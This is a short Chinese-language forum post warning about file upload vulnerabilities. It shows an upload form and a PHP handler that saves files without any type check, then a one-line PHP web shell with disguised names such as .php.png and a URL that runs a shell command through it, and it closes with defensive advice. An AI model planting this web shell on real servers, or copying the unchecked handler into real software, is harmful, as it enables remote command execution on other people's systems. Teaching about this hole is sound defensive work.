不要轻视文件上传漏洞

上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。
试想,如果用户上传给你一个PHP、ASP、JSP、Shell 等脚本文件(或伪脚本),
当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序,这无疑是相当危险的

[font=微软雅黑][size=4][b]前端文件上传表单:[/b][/size][/font]

<form action="upload_picture.php" method="post" enctype="multipart/form-data">
        要上传的文件: <input type="file" name="filename"/> <br/>
        <input type="submit" name="submit" value="Submit"/>
</form>

[font=微软雅黑][size=4][b]服务端处理:[/b][/size][/font]

$target = 'upload_dir/' . basename($_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){
    echo '图片文件上传成功';
} else {
    echo '图片文件上传失败';
}

假如我上传了一个PHP文件,如:fuck.php,fuck.php.png, fuck.zip
文件内容:

<?php
system($_GET&#91;'cmd'&#93;);
?>

上传之后,我就可以通过如下的URL访问攻击你的网站了:

http://server.example.com/upload_dir/fuck.php.png?cmd=ls%20-l

[font=微软雅黑][size=4][b]几个建议:[/b][/size][/font]
[list=1]
[*]限制上传文件的文件扩展名
[*][url=thread-75-1-1.html]通过取二进制文件头判断文件类型[/url]
[*]不要使用root或Administrator来运行你的Web应用
[*]非必要的情况下,禁用部分系统函数
[/list]

最新文章

Return Top